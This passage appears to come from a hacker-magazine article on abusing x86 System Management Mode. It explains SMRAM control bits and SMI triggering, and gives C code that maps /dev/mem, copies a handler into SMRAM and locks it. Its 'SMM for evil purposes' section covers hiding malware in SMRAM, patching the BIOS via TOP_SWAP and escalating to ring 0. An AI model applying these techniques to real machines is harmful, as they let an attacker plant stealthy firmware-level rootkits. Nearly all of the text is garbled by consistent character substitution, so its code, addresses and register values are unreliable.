| ------------------- R----------------------------------| |
|- |Virtual K0K- Aode| -------------------------------------------|
------------------- @AI Cinterru*tD
P.@.E P/ and VA are fla1s of the $+0 Ccontrol re1ister 0D
!asicall" 3hat 3e need to 1et from here isE
- )n" mode of o*eration in the intel *latform can make a transition to
the @AA mode if an @AI interru*t is issued.
- @AA mode 3ill return to the *re0ious mode (" issuin1 a rsm
instruction Cso the *rocessor 3ill read a sa0ed-state to restore the
s"stem to the *re0ious situation (efore enter the @AAD.
---[ F.F - @AA =0er0ie3
;irst of all, 3hen the s"stem enters the @AA mode, the 3hole *rocessor
context must (e sa0ed in a 3a" so that it can (e restored later. !" doin1
so, the *rocessor can enter in a s*ecial execution context and start
executin1 the @AI handler. #o return from this mode there is the s*ecial
instruction +@A Ccan (e used 9ust inside the @AA itselfD that 3ill read the
sa0ed context and return to the *re0ious situationD.
)lso, in @AA the *a1in1 is disa(led and "ou ha0e a 1--(it mode of o*eration
, (ut all *h"sical memor" can (e addressed Cmore on this laterD.
#here are no restrictions to the IW= *orts or memor", so 3e ha0e the same
*ri0ile1es as in +in1 0 Cin fact, from @AA someone can 9ust mani*ulate all
the s"stem memor"D.
'hat 4uflot sho3ed is a 3a" to *ut "our o3n @AI handler, force the
*rocessor to enter the @AA mode, chan1e the s"stem memor" to ("*ass a
securit" *rotection Cin his case, the securele0el of an =*en!@4 s"stemD and
then execute his o3n code chan1in1 the sa0ed context to *oint to it.
---[ F.F.1 - @A+)A
#he @"stem Aana1ement Aode has a dedicated memor" Bone called @A+)A. It8s
located in the 0x1;;;; ("tes startin1 at @A!)@/ Cit ma" (e (i11er if the
s"stem acti0ates /xtented @A+)AD.
#he default 0alue of @A!)@/ is 0xH0000, (ut since modern chi*sets offer
relocation, it8s commonl" seen as 0x)0000 C!I=@ relocates it to the same
memor"-ma**ed (ase address used (" the IW= *orts of the 0ideo cardD.
)s s*otted (" 4uflot, the memor" controller hu( has a control re1ister
called @A+)A $ontrol +e1ister that offers a (it C4?=P/5 - (it -D that, 3hen
it8s set, makes all memor" accesses to the address s*ace startin1 at @A!)@/
(e redirected to @A+)A.
If the *rocessor is not in the @AA mode and the 4?=P/5 (it is not set, all
accesses to the @A+)A memor" ran1e are for3arded to the 0ideo card C3hen it
ha0e (een relocated to the shared address as saidD - 1i0in1 a *rotection to
the @A+)A, 3hich 3e 3ill use later to *rotect the mal3areD. /lse, if the
4?=P/5 (it is set, the memor" addressed 3ill (e the @A+)A.
)nother im*ortant thin1 he sho3ed concernin1 the handler is the (it num(er
4 C4?%$,D of the @A+)A $ontrol +e1ister, 3hich, 3hen set, *rotects the
@A+)A control re1ister and thus, the @A+)A memor" itself, if the 4?=P/5 (it
3as not set at the time the control re1ister 3as locked. #o chan1e it, the
s"stem needs to re(oot C3hich 1i0es us a challen1e, since most modern !I=@
3ill lock itD.
It8s 3ell detailed in the Intel Aanuals, (ut the fact that a su*er-user
could 3rite to it usin1 the 0ideo de0ice and then force a @AI to (e
tri11ered 3as reall" ne3.
'hen enterin1 the @AA the *rocessor 3ill 9um* to the *"sical address
@A!)@/Y0xK000 C3hich means that the @AI handler must (e located at the
offset 0xK000 inside the @A+)AD. @ince 3hen the 4?=P/5 (it is set 3e can
*ut some code in the @A+)A, 3e 9ust need to force an @AI tri11er to 1et
our code executed.
-----------------
@A!)@/Y0x1;;;; | |
| |
| |
| |
@A!)@/Y0x;;;; -----------------
| |
| @tate sa0e area |
| |
@A!)@/Y0x;/00 -----------------
| |
| $ode,&ea*,@tack |
| |
@A!)@/Y0xK000 ----------------- ----S ;irst @AI &andler instruction
| |
| |
| |
@A!)@/=0x)0000 -----------------
---[ F.F.F - @AI handler
@ince 3e 3ill set the 4?=P/5 (it 3e need some 3a" to a0oid the dis*la"
usa1e, since all access to the 0ideo memor" 3ill (e for3arded to @A+)A and
not to the 0ideo card. 4uflot does not ex*lain ho3 it is *ossi(le, since
his sam*le 3as for =*en!@4 and it assumed there 3as no one usin1 the 0ideo
card Che sho3ed an ex*loit for an =*en!@4 *ro(lem (ut as a re:uisite,
there is no one usin1 the G, for exam*leD.
In our sam*les, 3e 3ill also sho3 ho3 to mani*ulate the re1isters directl",
(ut 3e 3ill use the li(*ci [4 to 1uarantee no *ro(lems 3ith this Csince
the li(*ci uses the s"stem interfaces to mani*ulate the P$I su(s"stem
a0oidin1 race conditions in the resource usa1eD. It8s also more *orta(le,
(ecause li(*ci as 3e 3ill sho3 su**orts a lot of different o*eratin1
s"stems.
@o, to insert the handler the attacker needs toE
- Verif" if the 4?%$, (it is not set
- @et the 4?=P/5 (it
- &a0e access to the memor" address s*ace Cin the sam*le,
0x)0000-0x!;;;;D
#o access the memor" 3e can 9ust mma* the memor" ran1e usin1 the Wde0Wmem
de0ice, (ecause it *ro0ides access to the *h"sical address s*ace
Cinstead of the 0irtual 0ision *ro0ided (" the Wde0Wkmem for exam*leD.
---[ F.F.H - @AI #ri11erin1
@ince the @AI si1nal is a hard3are-1enerated interru*t there is no
instruction to 1enerate it (" soft3are. #he chi*set ma" 1enerate it, (ut
?3hen? it does de*ends on the chi*set [.[-.
4uflot also alread" ex*lained in his *a*er the @AI?/5 re1ister, 3here the
least si1nificant (it is a 1lo(al ena(le, s*ecif"in1 3hether @AIs are
ena(led or not Cthe other (its of @AI?/5 then control 3hich de0ices can
1enerate an @AID.
#he @AI?@#@ re1ister kee*s track of 3hich de0ice last caused an @AI.
#hese re1isters can (e accessed usin1 the re1ular P$I mechanisms C>in> and
>out>D. #he *osition of those re1ister are 0aria(le, (ut the" are in a
relati0e address to PA!)@/ C@AI?/5=PA!)@/Y0xH0 and @AI?@#@=PA!)@/Y0xH4D.
#he PA!)@/ can (e accessed usin1 (us 0, de0ice 0x1;, function 0 and offset
0x40.
Aore details of the P$I confi1uration mechanisms in the section F.H.1.
---[ F.F.4 - 4uflot disco0er" - /x*loit
In his *a*er 4uflot M friends sho3ed a 3orkin1 ex*loit a1ainst =*en!@4.
#his 3ill (e our first code to (e anal"Bed Calso attached 3ith small
modifications to 3ork on %inuxD.
)s can (e seen, the code 3ill ha0e *ro(lems if there is an G @er0er runnin1
,since it 9ust for3ards all 0ideo memor" access to the @A+)A.
@ince the %inux o*eratin1 s"stem Cas most of unixesD *ro0ides a 3a" to rise
the IW= *ri0ile1e le0el in the user-mode, the ex*loit is usin1 that in a
3a" it can use the instructions inWoutE
ifCio*lCHD R 0D U
#o 1et access to the @A+)A, the 4?=P/5 (it must (e setE
outlCdata1, 0xcfKD[
outlCdataF, 0xcfcD[
)lso here, 3e can easil" see that, in the handler, it is doin1 the
follo3in1E
addrHF mo0 Ntest, ^eax
mo0 ^eax, ^csE0xfff0
&ere 3e ha0e that the offset 0xfff0 is the sa0ed /IP in the sa0ed-state ma*
inside the @A+)A. !" doin1 so, it is 9ust *uttin1 the address of a function
in the sa0ed-state ma*, so 3hen the s"stem tri11ers the rsm instruction
it 3ill return to *rotected mode, (ut no3 executin1 the testCD function
Cthe sa0ed /IPD.
4uflot disco0ered that accessin1 the Pro1rammed IW= Port 0x!F 3ith the (it
. of @AI?/5 set 3ill 1enerate an @AIE
outlC0x0000000f, 0x(FD[
;or sure it8s reall" funn"... (ut 3hat else can (e done 3ith that2
---[ F.H - 4uflot misses
In his *a*er 4uflot does not ex*lain ho3 the P$I $onfi1uration reall" 3orks
Cfor exam*le, he 9ust *ointed to use the *ort 0x$;K for address and *ort
0x$;$ to *erform the o*eration itselfD. )lso, he ne0er said 3hen and 3h"
the s"stem 1enerates a @AI. #he idea of use the @AA to mani*ulate the
s"stem memor" can also (e reall" ex*anded, to create a mal3are runnin1
inside the @AA, or to ("*ass (oot-*rotections and man" others Clike create
a s"stem *rotection mechanism runnin1 on itD.
#he rest of this cha*ter and the next one 3ill sho3 man" details a(out ho3
the @AA 3orks and 3hat 3e can use inside the @AA. )lso, 3ill (etter
ex*lain ho3 to anal"se the s"stem and create a *orta(le li(rar" to
mani*ulate the @AA-related re1isters.
---[ F.H.1 - P$I $onfi1uration
#he ori1inal P$I s*ecification [11 defined t3o mechanisms for iHK- P$s,
(ut later s*ecifications de*recated one of these 3a"s. @ince this
s*ecification is not free, 3e hi1hl" recommend "ou to read a (ook a(out
that [1F.
!asicall", "ou ha0e t3o IW= *ort ran1esE one associated to the address *ort
C0x$;K-0x$;!D and the other to the data *ort C0x$;$-0x$;;D.
#o confi1ure a de0ice, "ou must 3rite to the address *ort 3hich de0ice and
re1ister "ou 3ant to access and then readW3rite the data fromWto the data
*ort.
#he rule a(out the format of the data 3ritten to the address *ort is as
follo3in1E
!its 4escri*tion
0..1 00( Cal3a"s 0D
F..J 'hich HF-(it s*ace in the confi1 s*ace to access
K..10 4e0ice function
11..1. 4e0ice 5um(er
) com*lete list of P$I 0endors and de0ices can (e found in [1H.
P$I de0ices ha0e an address 3hich is (roken do3n into a P$I-(us num(er, a
de0ice num(er 3ithin that (us C0alues 0-H1D, and a function num(er 3ithin
the de0ice C0alues 0-JD.
@ince a sin1le sam*le is more 0alua(le, to access a re1ister +/6 in the
(usEde0iceEfunction P$I s*ace "ou 3ill need to use the follo3in1 addressE
0xK0000000% | CC(us M 0x;;D RR 1-D |
CCCCunsi1nedDde0iceD M 0x1;D RR 11D |
CCCCunsi1nedDfuncD M 0x0JD RR KD | C+/6 M 0x;$D[
In each P$I de0ice8s confi1uration s*ace there8s normall" one or more
!)+s C!ase )ddress +e1istersD, 3hich can (e used to set or find the address
in *h"sical memor" or in IW= s*ace of each resource the card uses.
---[ F.H.F - 'hen and 3h" the s"stem 1enerates a @AI
)ll memor" transactions CreadW3rite memor" accessD from the $P< are *laced
on the host (us to (e consumed (" some de0ice.
Potentiall" the $P< itself 3ould decode a ran1e Cof memor"D such as the
%ocal )PI$ ran1e, and the transaction 3ould (e satisfied (efore needin1
to (e *laced on the external (us at all.
If the $P< does not claim the transaction Cdon8t decodeD, then it must (e
sent out. In a t"*ical Intel architecture, the transaction 3ould next (e
decoded (" the A$& CAemor" $ontroller &u(D and (e either claimed as an
address that the A$& o3ns, or it8s determinin1 (ased on decoders that the
transaction is not o3ned (" the A$& and thus should (e for3arded on to the
next *ossi(le de0ice in the chain.
If the memor" controller does not find the address to (e 3ithin actual
4+)A, then it looks to see if it falls 3ithin one of the other IW= ran1es
it o3ns CI@), /I@), P$ID.
4e*endin1 on ho3 old the s"stem is, the memor" controller ma" directl"
decode P$I transactions Cinstead of *ass that to the IW= (rid1esD, for
exam*le.
If the A$& determines that the transaction does not (elon1 to it, the
transaction 3ill (e for3arded do3n to 3hate0er IW= (rid1eCsD ma" (e *resent
in the s"stem. #his *rocess of decodin1 for o3nershi* W res*onse or
for3ardin1 do3n if not o3ned re*eats until the s"stem runs out of *otential
a1ents.
#he final outcome is either an a1ent claims the transaction and returns
3hate0er data is *resent at the address, or no one claims the address and
an a(ort occurs to the transaction, t"*icall" resultin1 in 0;;;;;;;;h data
(ein1 returned.
In some situations C4uflot *a*er8s caseD, some addresses Cfor exam*le those
fallin1 3ithin the 0)0000h - 0!;;;;h ran1eD are o3ned (" t3o different
de0ices CV6) frame (uffer and s"stem memor"D. #his 3ill force the
architecture to send a @AI si1nal to satisf" the transaction.
If no @AI is asserted, then the transaction is ultimatel" *assed o0er ("
the memor" controller, so that the V6) controller Cif *resentD can claim
it.
If the @AI si1nal is asserted 3hen the transaction is recei0ed (" the
memor" controller, then the transaction 3ill (e for3arded to the 4+)A
unit for fetchin1 the data from *h"sical memor" Cexecutin1 our handlerD.
---[ F.4 - @AA Internals - =ur first ex*eriences
&ere 3e 3ill clarif" some im*ortant details a(out @AA and ho3 it 3orks.
#his 3ill (e im*ortant to (etter understand the attached li(rar".
---[ F.4.1 - )nal"Bin1 the @AA re1isters
%et8s start (" anal"Bin1 the @AA usin1 li(*ci, so 3e can ha0e more
sta(ilit" doin1 this.
#he follo3in1 code is kno3n to 3ork fine in I$&. and I$&HA controllers.
--- code ---
#include Rstdio.hS
#include R*ciW*ci.hS
#include Rs"sWio.hS
WO 4efines - (it *ositions C3ill (e used in more sam*lesD OW
#define 4?=P/5?!I# C0x01 RR -D
#define 4?$%@?!I# C0x01 RR .D
#define 4?%$,?!I# C0x01 RR 4D
#define 6?@A+)A/?!I# C0x01 RR HD
#define $?!)@/?@/6F?!I# C0x01 RR FD
#define $?!)@/?@/61?!I# C0x01 RR 1D
#define $?!)@/?@/60?!I# C0x01D
WO ;unction to *rint @A+)A re1isters OW
0oid sho3?smramCstruct *ci?de0O @A+)AD
U
uK smram?0alue[
WO Pro0ided (" li(*ci OW
smram?0alue = *ci?read?("teC@A+)A, @A+)A?=;;@/#D[
ifCsmram?0alue M 4?=P/5?!I#D U
*rintfC>4?=P/5?!I#E 1\n>D[
V else U
*rintfC>4?=P/5?!I#E 0\n>D[
V
ifCsmram?0alue M 4?$%@?!I#D U
*rintfC>4?$%@?!I#E 1\n>D[
V else U
*rintfC>4?$%@?!I#E 0\n>D[
V
ifCsmram?0alue M 4?%$,?!I#D U
*rintfC>4?%$,?!I#E 1\n>D[
V else U
*rintfC>4?%$,?!I#E 0\n>D[
V
ifCsmram?0alue M 6?@A+)A/?!I#D U
*rintfC>6?@A+)A/?!I#E 1\n>D[
V else U
*rintfC>6?@A+)A/?!I#E 0\n>D[
V
ifCsmram?0alue M $?!)@/?@/6F?!I#D U
*rintfC>$?!)@/?@/6F?!I#E 1\n>D[
V else U
*rintfC>$?!)@/?@/6F?!I#E 0\n>D[
V
ifCsmram?0alue M $?!)@/?@/61?!I#D U
*rintfC>$?!)@/?@/61?!I#E 1\n>D[
V else U
*rintfC>$?!)@/?@/61?!I#E 0\n>D[
V
ifCsmram?0alue M $?!)@/?@/60?!I#D U
*rintfC>$?!)@/?@/60?!I#E 1\n>D[
V else U
*rintfC>$?!)@/?@/60?!I#E 0\n>D[
V
*rintfC>\n>D[
V
int mainC0oidD U
struct *ci?access O*acc[
struct *ci?de0 O@A+)A[
WO Pro0ided (" li(*ci OW
*acc = *ci?allocCD[
*ci?initC*accD[
@A+)A = *ci?1et?de0C*acc, 0, 0, 0, 0D[
*rintfC>$urrent status of @A+)AE\n>D[
sho3?smramC@A+)AD[
*rintfC>@ettin1 4?=P/5 to 1\n>D[
*ci?3rite?("teC@A+)A, @A+)A?=;;@/#, 0x4aD[
sho3?smramC@A+)AD[
*rintfC>%ockin1 @A+)A\n>D[
*ci?3rite?("teC@A+)A, @A+)A?=;;@/#, 0x1aD[
sho3?smramC@A+)AD[
*rintfC>#r"in1 to set 4?=P/5 to 0\n>D[
*ci?3rite?("teC@A+)A, @A+)A?=;;@/#, 0x0aD[
sho3?smramC@A+)AD[
return 0[
V
--- end code ---
$om*ile this usin1E
1cc -o (raBil?smm1 (raBil?smm1.c -l*ci -lB
)n execution sam*leE
rr(rancoEZWPhrack# .W(raBil?smm1
$urrent status of @A+)AE
4?=P/5?!I#E 0
4?$%@?!I#E 0
4?%$,?!I#E 0
6?@A+)A/?!I#E 0
$?!)@/?@/6F?!I#E 0
$?!)@/?@/61?!I#E 0
$?!)@/?@/60?!I#E 0
@ettin1 4?=P/5 to 1
4?=P/5?!I#E 1
4?$%@?!I#E 0
4?%$,?!I#E 0
6?@A+)A/?!I#E 0
$?!)@/?@/6F?!I#E 0
$?!)@/?@/61?!I#E 0
$?!)@/?@/60?!I#E 0
%ockin1 @A+)A
4?=P/5?!I#E 1
4?$%@?!I#E 0
4?%$,?!I#E 1
6?@A+)A/?!I#E 0
$?!)@/?@/6F?!I#E 0
$?!)@/?@/61?!I#E 0
$?!)@/?@/60?!I#E 0
#r"in1 to set 4?=P/5 to 0
4?=P/5?!I#E 1
4?$%@?!I#E 0
4?%$,?!I#E 1
6?@A+)A/?!I#E 0
$?!)@/?@/6F?!I#E 0
$?!)@/?@/61?!I#E 0
$?!)@/?@/60?!I#E 0
---[ F.4.F - @AA 4etails
'hen the *rocessor enters the @AA mode it 3ill si1nal an out*ut *in,
a@AI)$##, to notif" the chi*set that the *rocessor is in the @AA.
#he @AI interru*t itself can (e tri11ered an"time, exce*t 3hile the
*rocessor is alread" in @AA Cof courseD. #his 3ill cause the @AA handler to
(e executed Cas 3e alread" sho3edD.
@ince the @AI)$## 3as noticed (" the chi*set, all further memor" accesses
3ill (e redirected to the @A+)A *rotected memor". )fter that, the *rocessor
3ill start to sa0e its internal state in the sa0ed?state ma* area, inside
the @A+)A. #hen, the handler starts to execute.
'hat is the current state2 #he *rocessor is in a 8real mode8, 3ith all
se1ments containin1 46! limit and (ein1 reada(leW3rita(le.
)s said, to lea0e the @AA, the +@A instruction is issued (" the handler,
and then the *rocessor reads the sa0ed-state ma* a1ain, *erformin1 9ust
some checks on it Cthat8s 1oodD restorin1 the s"stem to the *re0iouas
situation.
@AA 3rites data in the sa0ed-state ma* exactl" in the same 3a" as the stack
does, from to* to (ottom (e1innin1 from the @A!)@/ re1ister Cthus,
*ermitin1 relocationD. It8s im*ortant to kee* this in mind 3hen
mani*ulatin1 the sa0ed-state ma*.
If the s"stem enters @AA (" result of a halt or IW= instruction, the
handler can tell the s"stem to continue the execution after that or to
enter the halt state 9ust settin1 a fla1 in the sa0ed-state ma*.
<*on entrance in @AA the interru*ts are disa(led Cincludin1 the
as"ncronous 5AI C5on Aaska(le Interru*tD and I5I#D, and the I4# Cinterru*t
descri*tion ta(leD re1ister kee*s it8s 0alue. In order to ser0ice
interru*ts inside @AA Ca moti0ation for that 3ill (e sho3edD, one needs to
setu* an o3n interru*t 0ector [14 and reload the I4# 3ith "our ne3 0alue,
since the 0alues contained in the old I4# are no lon1er 0alid in the
address s*ace used (" @AA.
)fter the @#I instruction, the s"stem start to recei0e some interru*ts
(ut 3ill still miss the as"ncronous ones. #o ena(le that is needed to
issue the I+/#WI+/#4 instructions.
#he (i1 concern a(out re-ena(lin1 interru*ts inside the @AA handler is that
if an 5AI interru*t is recei0ed 3hile inside the handler, it 3ill (e
latched. @o, *otentiall" an" 0erification done inside the @AA handler can
(e ("*assed if someone hooked the 5AI handler routine Cthis routine 3ould
(e executed immediatel" after the +@A, (efore the *rocessor starts
executin1 the code *ointed (" the /IP in the sa0ed-state ma*D.
4urin1 our tests, @AA relocation 1a0e us some *ro(lems in older machines
C*entium IIWIIID. )lso, 3e *referred to use those machines to test our
thin1s, since there is no @AA lockin1 (ein1 done (" the !I=@ C1enerall"
sa"in1, !I=@ older than F "earsD.
)**arentl", those older *rocessors had a fixed $@ 0alue *oint to 0xH0000
Cthe default @AA *osition - relocated (" most of modern !I=@ to 0x)0000 as
3e alread" saidD.
If 3e ena(le interru*ts inside the @AA, 3hen an interru*t is in0oked, it
3ill sa0e $@EIP in the stack for further return. !ut it 3ill use the fixed
0alue of $@ C0xH0000D instead of usin1 the @A!)@/ 0alue, not reflectin1
the ri1ht code se1ment that the @AA is actuall" usin1 and, therefore, the
code 3ill return to the 3ron1 location.
)lso, the Intel documentation mentions ali1nment *ro(lems in the @A!)@/
0alue in older *rocessors C*re0iousl" to PIVD.
------[ H - @AA for e0il *ur*oses
)s alread" said, the @AA can (e used to modif" kernel internal structures.
&ere 3e 3ill also sho3 some challen1es and other *ossi(le uses for a
mal3are code runnin1 inside the @AA.
---[ H.1 - $hallen1es
---[ H.1.1 - $ache-ori1inated o0er3rites
'hen enterin1 the @AA, the @A+)A ma" (e o0er3ritten (" data in the cache
if a #;%<@& occur after the @AA entrance.
#o a0oid that 3e can shado3 @A+)A o0er non-cachea(le memor" or assert
#;%<@& simultaneousl" to #@AI e0ents C#;%<@& 3ill (e ser0ed firstD.
Aost !I=@ mark the @A+)A ran1e as non-cachea(le for us Cand also locks it,
since 4uflot *a*er *u(licationD.
---[ H.1.F - @AA %ockin1
Aost !I=@ manufacturers lock the @AA no3ada"s. 'hen "ou are insertin1 a
*rotectin1 mechanism usin1 the @AA "ou can 9ust re*lace the s"stem !I=@
for an o*en-source one Csee %inux!I=@ [JD.
'hen 3e are talkin1 a(out malicious code, this cannot (e done and some
kind of !I=@ *atchin1 must take *lace.
#his article is focusin1 in the @AA mani*ulation itself, (ut a 1ood
a**roach to ("*ass the !I=@ *rotection is to use the #=P?@')P [K (it to
execute our code (efore the ori1inal !I=@ code and then load our @AA
handler and lock it Cthis 3ill *re0ent the ori1inal !I=@ to o0er3rite our
@AA handlerD.
!asical" this (it is used to define if the s"stem 3ill use the first -4,
or the second one as area to load the !I=@ from. ,no3in1 that, someone
can 9ust set the #=P?@')P (it, *ut o3n code in the second -4, area and in
the code 9um* (ack to the ori1inal !I=@ code. #his code 3ill (e runned
!/;=+/ the !I=@.
#he #=P?@')P (it exists to *ro0ide a secure 3a" to !I=@ u*date - the !I=@
code is co*ied to the second -4,, the #=P?@')P (it is set, the u*date is
done and an inte1rit" check is *erformed - if there is an"thin1 that makes
the s"stem to re(oot, it 3ill restart in the second -4, 3hich holds a co*"
of the ori1inal !I=@ 3ithout an" *ro(lems.
---[ H.1.H - Porta(ilit"
)s said, the @AA is har3are-de*endent, more s*ecificall" it8s
I$&-de*endent.
#he attached code is kno3 to 3ork in I$&. and I$&HA, tested under %inux,
(ut since it uses the li(*ci, it8s su**osed to 3ork also in ;ree!@4,
5et!@4, =*en!@4 Calso tested on itD, @olaris, )ix, 65<W&urd and 'indo3sD.
#o *ro0ide su**ort to other I$&s one must edit the li(@AA.h header file to
s*ecif" the correct location of the (us, de0ice, function and offset and
then (e sure the PA!)@/ returned (" the function 1et?*m(aseCD is ri1ht
Ccom*arin1 to the manualsD.
)fter that, 0erif" if the @A+)A?=;;@/# is correctl" defined C"ou can 1et
that in "our IKxx manualsD. If so, the (its in the @A+)A control re1ister
3ill (e correctl" sho3ed C"ou can easil" test it usin1 the 4?%$, (it, since
3hen set 3ill not *ermit an" other (it to (e mani*ulatedD. =ne can also
test it usin1 the dd command sho3ed next in this article and the 4?=P/5 (it
Cuse the o*en?smram function, 3rite to the @A+)A memor" mma*8in1 it and
then dum* it to 0erif" if it8s 3orkin1D.
---[ H.1.4 - )ddress translation
)ddress translation is a 1reat difficult" 3hen 3e are inside our handler,
since 3e need the 0alue of the $+H re1ister C3hich 3e can 1et from the
sa0ed-state ma*D to manuall" *arse the *a1e ta(les and then *erform the
actual translation.
)nother a**roach is to 9ust transfer the control (ack to our code in the
same 3a" that 4uflot did, (ut 3e need to sa0e the current *rocessor
status inside @AA, so after the execution of our code Cafter the @AAD 3e
can transfer the control (ack to the *rocess that 3as executin1 (efore
tri11erin1 the @AI Celse 3e 3ould ha0e some *ortions of the s"stem 9ust
sto**in1 to 3ork after our mal3are 1et executedD.
#his is not 1ood...
#he (est thin1 that 3e can do is 9ust ha0e a sim*le handler that 1i0es the
(i11est *ri0ile1e le0el of execution to the callin1 code Ci.e. the code
that 3as executin1 (efore the @AID and then return. !" doin1 so, 3e a0oid
to sta" too much time in the @AA context and don8t need to care a(out
sto**ed =@ *rocesses.
In the next sections 3e clarif" ho3 to *ut code in the @AA s*ace, test it
and then an a**roach usin1 the descri*tor caches to *ro0ide the a(o0e
statement.
---[ H.F - $o*"in1 our code in the @AA s*ace
---[ H.F.1 - #estin1
@o, the first ste* to *ut some code in the @AA is to o*en the @A+)A ("
settin1 the 4?=P/5 (it.
--- code ---
*ci?3rite?("teCsmram?de0, @A+)A?=;;@/#, Ccurrent?0alue | 4?=P/5?!I#DD[
--- end code ---
#o close it after 3e finish, 3e 3ill use the follo3in1E
--- code ---
*ci?3rite?("teCsmram?de0, @A+)A?=;;@/#, Ccurrent?0alue M Z4?=P/5?!I#DD[
--- end code ---
)lso, after insertin1 our code, 3e 3ant to lock @A+)A access, a0oidin1
an"one from chan1in1 the @AA-related re1isters.
--- code ---
*ci?3rite?("teCsmram?de0, @A+)A?=;;@/#, Ccurrent?0alue | 4?%$,?!I#DD[
--- end code ---
In order to 1et our code inserted in the @A+)A memor", 3e need to ma* it,
in the same 3a" 3e did in the ex*loit.
--- code ---
fd = o*enCA/A4/V, =?+4'+D[
ifCfd R 0D U
f*rintfCstderr, >=*enin1 ^s failed, errnoE ^d\n>, A/A4/V, errnoD[
return -1[
V
0idmem = mma*C5<%%, A)PP/4)+/)@IT/, P+=#?+/)4 | P+=#?'+I#/, A)P?@&)+/4,
fd, @AII5@#)44+/@@D[
ifC0idmem == A)P?;)I%/4D U
f*rintfCstderr, >$ould not ma* memor" area, errnoE ^d\n>, errnoD[
return -1[
V
closeCfdD[
WO &ere 3e are co*"in1 our code to the @A+)A memor" OW
ifC0idmem P= memc*"C0idmem, handler, endhandler-handlerDD U
f*rintfCstderr, >$ould not co*" asm to memor"...\n>D[
return -1[
V
ifCmunma*C0idmem, A)PP/4)+/)@IT/D R 0D U
f*rintfCstderr, >$ould not release ma**ed area, errnoE ^d\n>, errnoD[
return -1[
V
--- end code ---
It8s a 1ood idea to 0erif" if it8s 3orkin1 *ro*erl", and also make a
*re0ious co*" of "our @A+)A memor" contents (efore that.
@o, let8s do that usin1 ddE
dd if=Wde0Wmem of=m"?smram (s=1 ski*=]ex*r -..H-0 - 1] count=-4,
P.@.E -..H-0 is 0xa0000 in decimal Cas s*otted (" 4uflot, @AA is commonl"
relocated to that address instead 0xH0000, as in the default caseD
---[ H.F.F - 4escri*tor caches
#his idea 3orked in some s"stem and not in some others, since the Intel
documentation is not exactl" cle0er a(out this su(9ect.
;rom the Intel manualE >/0er" se1ment re1ister has a 0isi(le *art and a
hidden *art C#he hidden *art is sometimes referred to as a descri*tor
cache or a shado3 re1isterD. 'hen a se1ment selector is loaded into the
0isi(le *art of a se1ment re1ister, the *rocessor also loads the hidden
*art of the se1ment re1ister 3ith the (ase address, se1ment limit, and
access control information from the se1ment descri*tor *ointed to (" the
se1ment selector.>
>)ccess control information> is referin1 to the 3ell kno3 xP%E
- +P% -S +e:uest *ri0ile1e le0el
- $P% -S $urrent *ri0ile1e le0el
- 4P% -S 4escri*tor *ri0ile1e le0el
In the sa0ed-state ma* inside the @A+)A, also accordin1 to the Intel
manuals, are sa0ed the descri*tor caches and the $+4 re1ister Cthe manual
sa"s it8s not reada(le and 3rite to this 0alues 3ill cause an
>un*redicta(le (eha0ior>D.
'e found the follo3in1E
#@@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;)J
I4# 4escri*tor $ache C1F-("tesD - =ffsetE ;;L!
64# 4escri*tor $ache C1F-("tesD - =ffsetE ;;K;
%4# 4escri*tor $ache C1F-("tesD - =ffsetE ;;KH
6@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;JJ
;@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;-!
4@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;.;
@@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;.H
$@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;4J
/@ 4escri*tor $ache C1F-("tesD - =ffsetE ;;H!
#he sa0ed-state ma* is stored at @A!)@/ Y 0x;/00 to @A!)@/ Y 0x;;;;.
Aodif"in1 the 4P% field of the @@ descri*tor cache from H to 0 1i0es rin10
*o3er to our *ro1ram Cand a 6eneral Protection ;ault in ne3er *rocessorsD.
---[ H.F.H - $ode relocation
@AA has the a(ilit" to relocate its *rotected memor" s*ace. #he @A!)@/
0alue sa0ed in the state sa0e ma* ma" (e modified. #his 0alue is read
durin1 the +@A instruction. 'hen @AA is next entered, the @A+)A 3ill (e
located at this ne3 address.
;rom our @AA handler, in the sa0ed-state ma*, 3e can modif" this 0alue Cat
offset 0x;/;K from @A!)@/D. #o *erform that, 3e must care a(out $@
ad9ustments inside our code.
It can (e used to relocate the @A+)A to memor" area of our choosin1 and
trick those 3ho tr" to dum* the @A+)A for anal"sis usin1 the standard
@A!)@/ 0alues Can"3a", since our mal3are is lockin1 the @AA and clearin1
the 4?=P/5 (it, 3e don8t need to use this techni:ueD.
------[ 4 - @AA Aani*ulation %i(rar"
#he @AA Aani*ulation %i(rar" attached in this article *ro0ides an eas"
3a" to create *orta(le code to mani*ulate the @A+)A control re1ister.
It offers the follo3in1 methodsE
uK sho3?smram Cstruct *ci?de0O smram?de0, uK (its?to?sho3D
It8s used to test if s*ecific (its are set or not
#he *ci?de0 structure are o*tional, 5<%% can (e *assed.
u1- 1et?*m(ase C0oidD
Internall" used (" the li(rar" to mani*ulate the @AI-ena(lement.
/x*orted (" the function to turn eas" to an external *ro1ram
0erif" the correct offsets for the @AI?/5 and @AI?@#@.
u1- 1et?smi?en?io* C0oidD
+eturn the location of the @AI?/5
u1- 1et?smi?sts?io* C0oidD
+eturn the location of the @AI?@#@
int ena(le?smi?1(l Cu1- smi?en?io*D
/na(le @AI 1lo(all"
int disa(le?smi?1(l Cu1- smi?en?io*D
4isa(le @AI 1lo(all"
int ena(le?smi?on?a*m Cu1- smi?en?io*D
/na(le @AI on )PA e0ents
int disa(le?smi?on?a*m Cu1- smi?en?io*D
4isa(le @AI on )PA e0ents
int o*en?smramC0oidD
=*en @A+)A for access Cset 4?=P/5 (itD
int close?smramC0oidD
$lose @A+)A for access Cunset 4?=P/5 (itD
int lock?smramC0oidD
%ock the @A+)A Cset 4?%$, (itD
0oid 3rite?to?a*m?cntC0oidD
'rite to the )PA $5# C1enerate a @AID
)lso, the include file li(@AA.h contains the 0alid 0alues to (e used to
locate related re1isters and (it8s for the @AA mani*ulation, like the
de0ice, function (us and offsets. It contains s*ecif" defines for
interestin1 (its inside the @A+)A control re1ister too, like the 4?=P/5
and the 4?%$,.
)ttached to the article is also the file li(@AA?test.c sho3in1 ho3 to use
the @AA Aani*ulation %i(rar". #his *ro1ram 3ill (asicall" set and unset
all control re1isters that 3ill affect the @AA mani*ulation. It can (e
used to test if the li(rar" is 3orkin1 *ro*ertl" in "our hard3are and
since it 3ill also test the 4?%$, (it, one need to re(oot after run this
*ro1ram.
